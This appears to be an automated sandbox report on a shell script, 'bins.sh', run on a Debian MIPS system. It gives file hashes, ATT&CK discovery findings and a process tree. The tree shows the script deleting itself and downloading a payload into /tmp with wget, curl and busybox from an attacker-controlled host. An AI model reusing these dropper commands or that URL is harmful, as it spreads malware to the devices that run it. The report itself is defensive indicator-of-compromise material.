cc389826e1c69d374e663bd661f142219337efc77291a8e24d98490ff36d9b1e

Analysis

max time kernel
144s
max time network
148s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
25-11-2024 08:56

Target

bins.sh
Size

10KB
MD5

535ebadfb3e0157fea5eae00397c2442
SHA1

c470a2e682c181bf7fa16097fb9fb6e13d6ec577
SHA256

cc389826e1c69d374e663bd661f142219337efc77291a8e24d98490ff36d9b1e
SHA512

2270af8ba4f42d236720f7b95d8b4f015bb15ca09511dff315d78a0912540a06411be8c7aedaeb089353581b5324c24e7b47f5b99f64659f7f360f1d28f89cbe
SSDEEP

96:YPSPqPkLmWl8txuGmUV1tyK7Lkfkzk9eGPxIxExVGWxEnMRLZxw9LhZbPjkLi6LN:g+GkFH2Q849eGv+MI+GYV849eG5

Score

3^/10

discovery

Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
discovery

Processes:

curl

description ioc process

File opened for reading /proc/sys/crypto/fips_enabled curl
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

curlbusyboxwget

pid process

821 curl
840 busybox
735 wget

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurl

description	ioc	process
File opened for modification	/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db	wget
File opened for modification	/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:730
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:733
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:735
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - System Network Configuration Discovery
  PID:840

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit